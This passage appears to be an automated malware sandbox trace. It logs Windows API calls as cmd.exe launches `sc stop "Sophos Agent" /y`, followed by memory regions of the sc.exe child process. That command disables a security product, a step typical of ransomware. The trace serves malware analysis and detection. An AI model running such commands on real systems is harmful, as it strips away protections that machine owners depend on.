lpType=0x37ece4*=0x0, lpData=0x37ece8*=0x9, lpcbData=0x37ece0*=0x1000) returned 0x2 [0060.234] RegCloseKey (hKey=0x6c) returned 0x0 [0060.234] time (in: timer=0x0 | out: timer=0x0) returned 0x5c3c3f5b [0060.234] srand (_Seed=0x5c3c3f5b) [0060.234] GetCommandLineW () returned="C:\\Windows\\system32\\cmd.exe /c sc stop \"Sophos Agent\" /y" [0060.234] GetCommandLineW () returned="C:\\Windows\\system32\\cmd.exe /c sc stop \"Sophos Agent\" /y" [0060.234] GetCurrentDirectoryW (in: nBufferLength=0x104, lpBuffer=0x4a4c5260 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 0x25 [0060.235] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x694bb8, nSize=0x104 | out: lpFilename="C:\\Windows\\SysWOW64\\cmd.exe" (normalized: "c:\\windows\\syswow64\\cmd.exe")) returned 0x1b [0060.235] GetEnvironmentVariableW (in: lpName="PATH", lpBuffer=0x4a4d0640, nSize=0x2000 | out: lpBuffer="C:\\Windows\\system32;C:\\Windows;C:\\Windows\\System32\\Wbem;C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\") returned 0x63 [0060.235] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0x4a4d0640, nSize=0x2000 | out: lpBuffer=".COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC") returned 0x35 [0060.235] GetEnvironmentVariableW (in: lpName="PROMPT", lpBuffer=0x4a4d0640, nSize=0x2000 | out: lpBuffer="") returned 0x0 [0060.235] _wcsicmp (_String1="PROMPT", _String2="CD") returned 13 [0060.235] _wcsicmp (_String1="PROMPT", _String2="ERRORLEVEL") returned 11 [0060.235] _wcsicmp (_String1="PROMPT", _String2="CMDEXTVERSION") returned 13 [0060.235] _wcsicmp (_String1="PROMPT", _String2="CMDCMDLINE") returned 13 [0060.235] _wcsicmp (_String1="PROMPT", _String2="DATE") returned 12 [0060.235] _wcsicmp (_String1="PROMPT", _String2="TIME") returned -4 [0060.235] _wcsicmp (_String1="PROMPT", _String2="RANDOM") returned -2 [0060.235] _wcsicmp (_String1="PROMPT", _String2="HIGHESTNUMANODENUMBER") returned 8 [0060.235] SetEnvironmentVariableW (lpName="PROMPT", lpValue="$P$G") returned 1 [0060.235] GetEnvironmentStringsW () returned 0x692b28* [0060.236] FreeEnvironmentStringsW (penv=0x692b28) returned 1 [0060.236] GetEnvironmentVariableW (in: lpName="COMSPEC", lpBuffer=0x4a4d0640, nSize=0x2000 | out: lpBuffer="C:\\Windows\\system32\\cmd.exe") returned 0x1b [0060.236] GetEnvironmentVariableW (in: lpName="KEYS", lpBuffer=0x4a4d0640, nSize=0x2000 | out: lpBuffer="") returned 0x0 [0060.236] _wcsicmp (_String1="KEYS", _String2="CD") returned 8 [0060.236] _wcsicmp (_String1="KEYS", _String2="ERRORLEVEL") returned 6 [0060.236] _wcsicmp (_String1="KEYS", _String2="CMDEXTVERSION") returned 8 [0060.236] _wcsicmp (_String1="KEYS", _String2="CMDCMDLINE") returned 8 [0060.236] _wcsicmp (_String1="KEYS", _String2="DATE") returned 7 [0060.236] _wcsicmp (_String1="KEYS", _String2="TIME") returned -9 [0060.236] _wcsicmp (_String1="KEYS", _String2="RANDOM") returned -7 [0060.236] _wcsicmp (_String1="KEYS", _String2="HIGHESTNUMANODENUMBER") returned 3 [0060.236] GetCurrentDirectoryW (in: nBufferLength=0x104, lpBuffer=0x37faa8 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 0x25 [0060.236] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", nBufferLength=0x104, lpBuffer=0x37faa8, lpFilePart=0x37faa4 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpFilePart=0x37faa4*="Desktop") returned 0x25 [0060.236] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop")) returned 0x11 [0060.236] FindFirstFileW (in: lpFileName="C:\\Users", lpFindFileData=0x37f824 | out: lpFindFileData=0x37f824) returned 0x691dc0 [0060.236] FindClose (in: hFindFile=0x691dc0 | out: hFindFile=0x691dc0) returned 1 [0060.237] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz", lpFindFileData=0x37f824 | out: lpFindFileData=0x37f824) returned 0x691dc0 [0060.237] FindClose (in: hFindFile=0x691dc0 | out: hFindFile=0x691dc0) returned 1 [0060.237] _wcsnicmp (_String1="5P5NRG~1", _String2="5p5NrGJn0jS HALPmcxz", _MaxCount=0x14) returned 20 [0060.237] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpFindFileData=0x37f824 | out: lpFindFileData=0x37f824) returned 0x691dc0 [0060.237] FindClose (in: hFindFile=0x691dc0 | out: hFindFile=0x691dc0) returned 1 [0060.237] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop")) returned 0x11 [0060.237] SetCurrentDirectoryW (lpPathName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop")) returned 1 [0060.237] SetEnvironmentVariableW (lpName="=C:", lpValue="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 1 [0060.237] GetEnvironmentStringsW () returned 0x692b28* [0060.237] FreeEnvironmentStringsW (penv=0x692b28) returned 1 [0060.237] GetCurrentDirectoryW (in: nBufferLength=0x104, lpBuffer=0x4a4c5260 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 0x25 [0060.238] GetConsoleOutputCP () returned 0x1b5 [0060.239] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x4a4c4260 | out: lpCPInfo=0x4a4c4260) returned 1 [0060.239] GetUserDefaultLCID () returned 0x409 [0060.240] GetLocaleInfoW (in: Locale=0x409, LCType=0x1e, lpLCData=0x4a4c4950, cchData=8 | out: lpLCData=":") returned 2 [0060.240] GetLocaleInfoW (in: Locale=0x409, LCType=0x23, lpLCData=0x37fbe8, cchData=128 | out: lpLCData="0") returned 2 [0060.240] GetLocaleInfoW (in: Locale=0x409, LCType=0x21, lpLCData=0x37fbe8, cchData=128 | out: lpLCData="0") returned 2 [0060.240] GetLocaleInfoW (in: Locale=0x409, LCType=0x24, lpLCData=0x37fbe8, cchData=128 | out: lpLCData="1") returned 2 [0060.240] GetLocaleInfoW (in: Locale=0x409, LCType=0x1d, lpLCData=0x4a4c4940, cchData=8 | out: lpLCData="/") returned 2 [0060.240] GetLocaleInfoW (in: Locale=0x409, LCType=0x31, lpLCData=0x4a4c4d80, cchData=32 | out: lpLCData="Mon") returned 4 [0060.240] GetLocaleInfoW (in: Locale=0x409, LCType=0x32, lpLCData=0x4a4c4d40, cchData=32 | out: lpLCData="Tue") returned 4 [0060.240] GetLocaleInfoW (in: Locale=0x409, LCType=0x33, lpLCData=0x4a4c4d00, cchData=32 | out: lpLCData="Wed") returned 4 [0060.240] GetLocaleInfoW (in: Locale=0x409, LCType=0x34, lpLCData=0x4a4c4cc0, cchData=32 | out: lpLCData="Thu") returned 4 [0060.240] GetLocaleInfoW (in: Locale=0x409, LCType=0x35, lpLCData=0x4a4c4c80, cchData=32 | out: lpLCData="Fri") returned 4 [0060.241] GetLocaleInfoW (in: Locale=0x409, LCType=0x36, lpLCData=0x4a4c4c40, cchData=32 | out: lpLCData="Sat") returned 4 [0060.241] GetLocaleInfoW (in: Locale=0x409, LCType=0x37, lpLCData=0x4a4c4c00, cchData=32 | out: lpLCData="Sun") returned 4 [0060.241] GetLocaleInfoW (in: Locale=0x409, LCType=0xe, lpLCData=0x4a4c4930, cchData=8 | out: lpLCData=".") returned 2 [0060.241] GetLocaleInfoW (in: Locale=0x409, LCType=0xf, lpLCData=0x4a4c4920, cchData=8 | out: lpLCData=",") returned 2 [0060.241] setlocale (category=0, locale=".OCP") returned="English_United States.437" [0060.242] GetConsoleTitleW (in: lpConsoleTitle=0x695908, nSize=0x104 | out: lpConsoleTitle="C:\\Windows\\system32\\cmd.exe") returned 0x1b [0060.242] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x75a20000 [0060.242] GetProcAddress (hModule=0x75a20000, lpProcName="CopyFileExW") returned 0x75a53b92 [0060.242] GetProcAddress (hModule=0x75a20000, lpProcName="IsDebuggerPresent") returned 0x75a34a5d [0060.243] GetProcAddress (hModule=0x75a20000, lpProcName="SetConsoleInputExeNameW") returned 0x75a4a79d [0060.243] _wcsicmp (_String1="sc", _String2=")") returned 74 [0060.243] _wcsicmp (_String1="FOR", _String2="sc") returned -13 [0060.243] _wcsicmp (_String1="FOR/?", _String2="sc") returned -13 [0060.243] _wcsicmp (_String1="IF", _String2="sc") returned -10 [0060.243] _wcsicmp (_String1="IF/?", _String2="sc") returned -10 [0060.243] _wcsicmp (_String1="REM", _String2="sc") returned -1 [0060.243] _wcsicmp (_String1="REM/?", _String2="sc") returned -1 [0060.245] GetConsoleTitleW (in: lpConsoleTitle=0x37f8e0, nSize=0x104 | out: lpConsoleTitle="C:\\Windows\\system32\\cmd.exe") returned 0x1b [0060.245] _wcsicmp (_String1="sc", _String2="DIR") returned 15 [0060.245] _wcsicmp (_String1="sc", _String2="ERASE") returned 14 [0060.245] _wcsicmp (_String1="sc", _String2="DEL") returned 15 [0060.245] _wcsicmp (_String1="sc", _String2="TYPE") returned -1 [0060.245] _wcsicmp (_String1="sc", _String2="COPY") returned 16 [0060.245] _wcsicmp (_String1="sc", _String2="CD") returned 16 [0060.245] _wcsicmp (_String1="sc", _String2="CHDIR") returned 16 [0060.245] _wcsicmp (_String1="sc", _String2="RENAME") returned 1 [0060.245] _wcsicmp (_String1="sc", _String2="REN") returned 1 [0060.245] _wcsicmp (_String1="sc", _String2="ECHO") returned 14 [0060.246] _wcsicmp (_String1="sc", _String2="SET") returned -2 [0060.246] _wcsicmp (_String1="sc", _String2="PAUSE") returned 3 [0060.246] _wcsicmp (_String1="sc", _String2="DATE") returned 15 [0060.246] _wcsicmp (_String1="sc", _String2="TIME") returned -1 [0060.246] _wcsicmp (_String1="sc", _String2="PROMPT") returned 3 [0060.246] _wcsicmp (_String1="sc", _String2="MD") returned 6 [0060.246] _wcsicmp (_String1="sc", _String2="MKDIR") returned 6 [0060.246] _wcsicmp (_String1="sc", _String2="RD") returned 1 [0060.246] _wcsicmp (_String1="sc", _String2="RMDIR") returned 1 [0060.246] _wcsicmp (_String1="sc", _String2="PATH") returned 3 [0060.246] _wcsicmp (_String1="sc", _String2="GOTO") returned 12 [0060.246] _wcsicmp (_String1="sc", _String2="SHIFT") returned -5 [0060.246] _wcsicmp (_String1="sc", _String2="CLS") returned 16 [0060.246] _wcsicmp (_String1="sc", _String2="CALL") returned 16 [0060.246] _wcsicmp (_String1="sc", _String2="VERIFY") returned -3 [0060.246] _wcsicmp (_String1="sc", _String2="VER") returned -3 [0060.246] _wcsicmp (_String1="sc", _String2="VOL") returned -3 [0060.246] _wcsicmp (_String1="sc", _String2="EXIT") returned 14 [0060.246] _wcsicmp (_String1="sc", _String2="SETLOCAL") returned -2 [0060.246] _wcsicmp (_String1="sc", _String2="ENDLOCAL") returned 14 [0060.246] _wcsicmp (_String1="sc", _String2="TITLE") returned -1 [0060.246] _wcsicmp (_String1="sc", _String2="START") returned -17 [0060.246] _wcsicmp (_String1="sc", _String2="DPATH") returned 15 [0060.246] _wcsicmp (_String1="sc", _String2="KEYS") returned 8 [0060.246] _wcsicmp (_String1="sc", _String2="MOVE") returned 6 [0060.246] _wcsicmp (_String1="sc", _String2="PUSHD") returned 3 [0060.246] _wcsicmp (_String1="sc", _String2="POPD") returned 3 [0060.246] _wcsicmp (_String1="sc", _String2="ASSOC") returned 18 [0060.246] _wcsicmp (_String1="sc", _String2="FTYPE") returned 13 [0060.246] _wcsicmp (_String1="sc", _String2="BREAK") returned 17 [0060.246] _wcsicmp (_String1="sc", _String2="COLOR") returned 16 [0060.246] _wcsicmp (_String1="sc", _String2="MKLINK") returned 6 [0060.246] _wcsicmp (_String1="sc", _String2="DIR") returned 15 [0060.246] _wcsicmp (_String1="sc", _String2="ERASE") returned 14 [0060.246] _wcsicmp (_String1="sc", _String2="DEL") returned 15 [0060.246] _wcsicmp (_String1="sc", _String2="TYPE") returned -1 [0060.246] _wcsicmp (_String1="sc", _String2="COPY") returned 16 [0060.246] _wcsicmp (_String1="sc", _String2="CD") returned 16 [0060.247] _wcsicmp (_String1="sc", _String2="CHDIR") returned 16 [0060.247] _wcsicmp (_String1="sc", _String2="RENAME") returned 1 [0060.247] _wcsicmp (_String1="sc", _String2="REN") returned 1 [0060.247] _wcsicmp (_String1="sc", _String2="ECHO") returned 14 [0060.247] _wcsicmp (_String1="sc", _String2="SET") returned -2 [0060.247] _wcsicmp (_String1="sc", _String2="PAUSE") returned 3 [0060.247] _wcsicmp (_String1="sc", _String2="DATE") returned 15 [0060.247] _wcsicmp (_String1="sc", _String2="TIME") returned -1 [0060.247] _wcsicmp (_String1="sc", _String2="PROMPT") returned 3 [0060.247] _wcsicmp (_String1="sc", _String2="MD") returned 6 [0060.247] _wcsicmp (_String1="sc", _String2="MKDIR") returned 6 [0060.247] _wcsicmp (_String1="sc", _String2="RD") returned 1 [0060.247] _wcsicmp (_String1="sc", _String2="RMDIR") returned 1 [0060.247] _wcsicmp (_String1="sc", _String2="PATH") returned 3 [0060.247] _wcsicmp (_String1="sc", _String2="GOTO") returned 12 [0060.247] _wcsicmp (_String1="sc", _String2="SHIFT") returned -5 [0060.247] _wcsicmp (_String1="sc", _String2="CLS") returned 16 [0060.247] _wcsicmp (_String1="sc", _String2="CALL") returned 16 [0060.247] _wcsicmp (_String1="sc", _String2="VERIFY") returned -3 [0060.247] _wcsicmp (_String1="sc", _String2="VER") returned -3 [0060.247] _wcsicmp (_String1="sc", _String2="VOL") returned -3 [0060.247] _wcsicmp (_String1="sc", _String2="EXIT") returned 14 [0060.247] _wcsicmp (_String1="sc", _String2="SETLOCAL") returned -2 [0060.247] _wcsicmp (_String1="sc", _String2="ENDLOCAL") returned 14 [0060.247] _wcsicmp (_String1="sc", _String2="TITLE") returned -1 [0060.247] _wcsicmp (_String1="sc", _String2="START") returned -17 [0060.247] _wcsicmp (_String1="sc", _String2="DPATH") returned 15 [0060.247] _wcsicmp (_String1="sc", _String2="KEYS") returned 8 [0060.247] _wcsicmp (_String1="sc", _String2="MOVE") returned 6 [0060.247] _wcsicmp (_String1="sc", _String2="PUSHD") returned 3 [0060.247] _wcsicmp (_String1="sc", _String2="POPD") returned 3 [0060.247] _wcsicmp (_String1="sc", _String2="ASSOC") returned 18 [0060.247] _wcsicmp (_String1="sc", _String2="FTYPE") returned 13 [0060.247] _wcsicmp (_String1="sc", _String2="BREAK") returned 17 [0060.247] _wcsicmp (_String1="sc", _String2="COLOR") returned 16 [0060.247] _wcsicmp (_String1="sc", _String2="MKLINK") returned 6 [0060.247] _wcsicmp (_String1="sc", _String2="FOR") returned 13 [0060.248] _wcsicmp (_String1="sc", _String2="IF") returned 10 [0060.248] _wcsicmp (_String1="sc", _String2="REM") returned 1 [0060.248] _wcsnicmp (_String1="sc", _String2="cmd ", _MaxCount=0x4) returned 16 [0060.248] SetErrorMode (uMode=0x0) returned 0x0 [0060.248] SetErrorMode (uMode=0x1) returned 0x0 [0060.248] GetFullPathNameW (in: lpFileName=".", nBufferLength=0x208, lpBuffer=0x695dc8, lpFilePart=0x37f400 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpFilePart=0x37f400*="Desktop") returned 0x25 [0060.248] SetErrorMode (uMode=0x0) returned 0x1 [0060.248] GetEnvironmentVariableW (in: lpName="PATH", lpBuffer=0x4a4d0640, nSize=0x2000 | out: lpBuffer="C:\\Windows\\system32;C:\\Windows;C:\\Windows\\System32\\Wbem;C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\") returned 0x63 [0060.248] NeedCurrentDirectoryForExePathW (ExeName=".") returned 1 [0060.254] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0x4a4d0640, nSize=0x2000 | out: lpBuffer=".COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC") returned 0x35 [0060.256] InitializeProcThreadAttributeList (in: lpAttributeList=0x37f4fc, dwAttributeCount=0x1, dwFlags=0x0, lpSize=0x37f5c4 | out: lpAttributeList=0x37f4fc, lpSize=0x37f5c4) returned 1 [0060.256] UpdateProcThreadAttribute (in: lpAttributeList=0x37f4fc, dwFlags=0x0, Attribute=0x60001, lpValue=0x37f5bc, cbSize=0x4, lpPreviousValue=0x0, lpReturnSize=0x0 | out: lpAttributeList=0x37f4fc, lpPreviousValue=0x0) returned 1 [0060.256] GetStartupInfoW (in: lpStartupInfo=0x37f4b8 | out: lpStartupInfo=0x37f4b8*(cb=0x44, lpReserved="", lpDesktop="WinSta0\\Default", lpTitle="C:\\Windows\\system32\\cmd.exe", dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x0, cbReserved2=0x144, lpReserved2=0x6819c4, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0)) [0060.256] lstrcmpW (lpString1="\\sc.exe", lpString2="\\XCOPY.EXE") returned -1 [0060.258] CreateProcessW (in: lpApplicationName="C:\\Windows\\system32\\sc.exe", lpCommandLine="sc stop \"Sophos Agent\" /y", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=1, dwCreationFlags=0x80000, lpEnvironment=0x0, lpCurrentDirectory="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpStartupInfo=0x37f558*(cb=0x48, lpReserved=0x0, lpDesktop="WinSta0\\Default", lpTitle="sc stop \"Sophos Agent\" /y", dwX=0x0, dwY=0x1, dwXSize=0x64, dwYSize=0x64, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x1, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x37f5a4 | out: lpCommandLine="sc stop \"Sophos Agent\" /y", lpProcessInformation=0x37f5a4*(hProcess=0x7c, hThread=0x78, dwProcessId=0x7c4, dwThreadId=0xc4)) returned 1 [0060.262] CloseHandle (hObject=0x78) returned 1 [0060.262] SetEnvironmentVariableW (lpName="COPYCMD", lpValue=0x0) returned 1 [0060.262] GetEnvironmentStringsW () returned 0x694dc8* [0060.262] FreeEnvironmentStringsW (penv=0x694dc8) returned 1 [0060.262] WaitForSingleObject (hHandle=0x7c, dwMilliseconds=0xffffffff) returned 0x0 [0060.319] GetExitCodeProcess (in: hProcess=0x7c, lpExitCode=0x37f498 | out: lpExitCode=0x37f498*=0x424) returned 1 [0060.319] CloseHandle (hObject=0x7c) returned 1 [0060.319] _vsnwprintf (in: _Buffer=0x37f5e0, _BufferCount=0x13, _Format="%08X", _ArgList=0x37f4a4 | out: _Buffer="00000424") returned 8 [0060.319] SetEnvironmentVariableW (lpName="=ExitCode", lpValue="00000424") returned 1 [0060.320] GetEnvironmentStringsW () returned 0x692b28* [0060.320] FreeEnvironmentStringsW (penv=0x692b28) returned 1 [0060.320] SetEnvironmentVariableW (lpName="=ExitCodeAscii", lpValue=0x0) returned 1 [0060.320] GetEnvironmentStringsW () returned 0x692b28* [0060.320] FreeEnvironmentStringsW (penv=0x692b28) returned 1 [0060.320] DeleteProcThreadAttributeList (in: lpAttributeList=0x37f4fc | out: lpAttributeList=0x37f4fc) [0060.320] _get_osfhandle (_FileHandle=1) returned 0x7 [0060.320] SetConsoleMode (hConsoleHandle=0x7, dwMode=0x3) returned 1 [0060.320] _get_osfhandle (_FileHandle=1) returned 0x7 [0060.320] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x4a4c41ac | out: lpMode=0x4a4c41ac) returned 1 [0060.320] _get_osfhandle (_FileHandle=0) returned 0x3 [0060.321] GetConsoleMode (in: hConsoleHandle=0x3, lpMode=0x4a4c41b0 | out: lpMode=0x4a4c41b0) returned 1 [0060.321] SetConsoleInputExeNameW () returned 0x1 [0060.321] GetConsoleOutputCP () returned 0x1b5 [0060.321] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x4a4c4260 | out: lpCPInfo=0x4a4c4260) returned 1 [0060.321] SetThreadUILanguage (LangId=0x0) returned 0x409 [0060.321] exit (_Code=1060) Process: id = "45" image_name = "sc.exe" filename = "c:\\windows\\syswow64\\sc.exe" page_root = "0x62828000" os_pid = "0x7c4" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "44" os_parent_pid = "0x49c" cmd_line = "sc stop \"Sophos Agent\" /y" cur_dir = "C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\" os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz" os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000ea88" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Region: id = 2967 start_va = 0x10000 end_va = 0x2ffff entry_point = 0x0 region_type = private name = "private_0x0000000000010000" filename = "" Region: id = 2968 start_va = 0x30000 end_va = 0x31fff entry_point = 0x0 region_type = private name = "private_0x0000000000030000" filename = "" Region: id = 2969 start_va = 0x40000 end_va = 0x40fff entry_point = 0x40000 region_type = mapped_file name = "apisetschema.dll" filename = "\\Windows\\System32\\apisetschema.dll" (normalized: "c:\\windows\\system32\\apisetschema.dll") Region: id = 2970 start_va = 0x50000 end_va = 0x53fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000050000" filename = "" Region: id = 2971 start_va = 0x60000 end_va = 0x6bfff entry_point = 0x60000 region_type = mapped_file name = "sc.exe" filename = "\\Windows\\SysWOW64\\sc.exe" (normalized: "c:\\windows\\syswow64\\sc.exe") Region: id = 2972 start_va = 0x70000 end_va = 0x70fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000070000" filename = "" Region: id = 2973 start_va = 0x230000 end_va = 0x26ffff entry_point = 0x0 region_type = private name = "private_0x0000000000230000" filename = "" Region: id = 2974 start_va = 0x280000 end_va = 0x2bffff entry_point = 0x0 region_type = private name = "private_0x0000000000280000" filename = "" Region: id = 2975 start_va = 0x77670000 end_va = 0x77818fff entry_point = 0x77670000 region_type = mapped_file name = "ntdll.dll" filename = "\\Windows\\System32\\ntdll.dll" (normalized: "c:\\windows\\system32\\ntdll.dll") Region: id = 2976 start_va = 0x77850000 end_va = 0x779cffff entry_point = 0x77850000 region_type = mapped_file name = "ntdll.dll" filename = "\\Windows\\SysWOW64\\ntdll.dll" (normalized: "c:\\windows\\syswow64\\ntdll.dll") Region: id = 2977 start_va = 0x7efb0000 end_va = 0x7efd2fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000007efb0000" filename = "" Region: id = 2978 start_va = 0x7efdb000 end_va = 0x7efddfff entry_point = 0x0 region_type = private name = "private_0x000000007efdb000" filename = "" Region: id = 2979 start_va = 0x7efde000 end_va = 0x7efdefff entry_point = 0x0 region_type = private name = "private_0x000000007efde000" filename = "" Region: id = 2980 start_va = 0x7efdf000 end_va = 0x7efdffff entry_point = 0x0 region_type = private name = "private_0x000000007efdf000" filename = "" Region: id = 2981 start_va = 0x7efe0000 end_va = 0x7ffdffff entry_point = 0x0 region_type = private name = "private_0x000000007efe0000" filename = "" Region: id = 2982 start_va = 0x7ffe0000 end_va = 0x7ffeffff entry_point = 0x0 region_type = private name = "private_0x000000007ffe0000" filename = "" Region: id = 2983 start_va = 0x7fff0000 end_va = 0x7fffffeffff entry_point = 0x0 region_type = private name = "private_0x000000007fff0000" filename = "" Region: id = 2984 start_va = 0x100000 end_va = 0x17ffff entry_point = 0x0 region_type = private name = "private_0x0000000000100000" filename = "" Region: id = 2985 start_va = 0x74d90000 end_va = 0x74d97fff entry_point = 0x74d90000 region_type = mapped_file name = "wow64cpu.dll" filename = "\\Windows\\System32\\wow64cpu.dll" (normalized: "c:\\windows\\system32\\wow64cpu.dll") Region: id = 2986 start_va = 0x74da0000 end_va = 0x74dfbfff entry_point = 0x74da0000 region_type = mapped_file name = "wow64win.dll" filename = "\\Windows\\System32\\wow64win.dll" (normalized: "c:\\windows\\system32\\wow64win.dll") Region: id = 2987 start_va = 0x74e00000 end_va = 0x74e3efff entry_point = 0x74e00000 region_type = mapped_file name = "wow64.dll" filename = "\\Windows\\System32\\wow64.dll" (normalized: "c:\\windows\\system32\\wow64.dll") Region: id = 2988 start_va = 0x77450000 end_va = 0x77549fff entry_point = 0x0 region_type = private name = "private_0x0000000077450000" filename = "" Region: id = 2989 start_va = 0x77550000 end_va = 0x7766efff entry_point = 0x0 region_type = private name = "private_0x0000000077550000" filename = "" Region: id = 2990 start_va = 0x10000 end_va = 0x1ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000010000" filename = "" Region: id = 2991 start_va = 0x20000 end_va = 0x2ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000020000" filename = "" Region: id = 2992 start_va = 0x80000 end_va = 0xe6fff entry_point = 0x80000 region_type = mapped_file name = "locale.nls" filename = "\\Windows\\System32\\locale.nls" (normalized: "c:\\windows\\system32\\locale.nls") Region: id = 2993 start_va = 0x340000 end_va = 0x43ffff entry_point = 0x0 region_type = private name = "private_0x0000000000340000" filename = "" Region: id = 2994 start_va = 0x5f0000 end_va = 0x5fffff entry_point = 0x0 region_type = private name = "private_0x00000000005f0000" filename = "" Region: id = 2995 start_va = 0x753a0000 end_va = 0x753abfff entry_point = 0x753a0000 region_type = mapped_file name = "cryptbase.dll" filename = "\\Windows\\SysWOW64\\cryptbase.dll" (normalized: "c:\\windows\\syswow64\\cryptbase.dll") Region: id = 2996 start_va = 0x753b0000 end_va = 0x7540ffff entry_point = 0x753b0000 region_type = mapped_file name = "sspicli.dll" filename = "\\Windows\\SysWOW64\\sspicli.dll" (normalized: "c:\\windows\\syswow64\\sspicli.dll") Region: id = 2997 start_va = 0x75a20000 end_va = 0x75b2ffff entry_point = 0x75a20000 region_type = mapped_file name = "kernel32.dll" filename = "\\Windows\\SysWOW64\\kernel32.dll" (normalized: "c:\\windows\\syswow64\\kernel32.dll") Region: id = 2998 start_va = 0x75b30000 end_va = 0x75bcffff entry_point = 0x75b30000 region_type = mapped_file name = "advapi32.dll" filename = "\\Windows\\SysWOW64\\advapi32.dll" (normalized: "c:\\windows\\syswow64\\advapi32.dll") Region: id = 2999 start_va = 0x75e30000 end_va = 0x75edbfff entry_point = 0x75e30000 region_type = mapped_file name = "msvcrt.dll" filename = "\\Windows\\SysWOW64\\msvcrt.dll" (normalized: "c:\\windows\\syswow64\\msvcrt.dll") Region: id = 3000 start_va = 0x762b0000 end_va = 0x762c8fff entry_point = 0x762b0000 region_type = mapped_file name = "sechost.dll" filename = "\\Windows\\SysWOW64\\sechost.dll" (normalized: "c:\\windows\\syswow64\\sechost.dll") Region: id = 3001 start_va = 0x765f0000 end_va = 0x76635fff entry_point = 0x765f0000 region_type = mapped_file name = "kernelbase.dll" filename = "\\Windows\\SysWOW64\\KernelBase.dll" (normalized: "c:\\windows\\syswow64\\kernelbase.dll") Region: id = 3002 start_va = 0x772d0000 end_va = 0x773bffff entry_point = 0x772d0000 region_type = mapped_file name = "rpcrt4.dll" filename = "\\Windows\\SysWOW64\\rpcrt4.dll" (normalized: "c:\\windows\\syswow64\\rpcrt4.dll") Region: id = 3003 start_va = 0x7efe0000 end_va = 0x7f0dffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000007efe0000" filename = "" Region: id = 3004 start_va = 0x7f0e0000 end_va = 0x7ffdffff entry_point = 0x0 region_type = private name = "private_0x000000007f0e0000" filename = "" Region: id = 3005 start_va = 0x30000 end_va = 0x36fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000030000" filename = "" Region: id = 3006 start_va = 0xf0000 end_va = 0xf1fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000000f0000" filename = "" Region: id = 3007 start_va = 0x440000 end_va = 0x4fffff entry_point = 0x440000 region_type = mapped_file name = "kernelbase.dll.mui" filename = "\\Windows\\SysWOW64\\en-US\\KernelBase.dll.mui" (normalized: "c:\\windows\\syswow64\\en-us\\kernelbase.dll.mui") Region: id = 3008 start_va = 0x180000 end_va = 0x18ffff entry_point = 0x180000 region_type = mapped_file name = "sc.exe.mui" filename = "\\Windows\\SysWOW64\\en-US\\sc.exe.mui" (normalized: "c:\\windows\\syswow64\\en-us\\sc.exe.mui") Thread: id = 126 os_tid = 0xc4 [0060.300] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2bfb54 | out: lpSystemTimeAsFileTime=0x2bfb54*(dwLowDateTime=0xdec09480, dwHighDateTime=0x1d4abdd)) [0060.300] GetCurrentProcessId () returned 0x7c4 [0060.300] GetCurrentThreadId () returned 0xc4 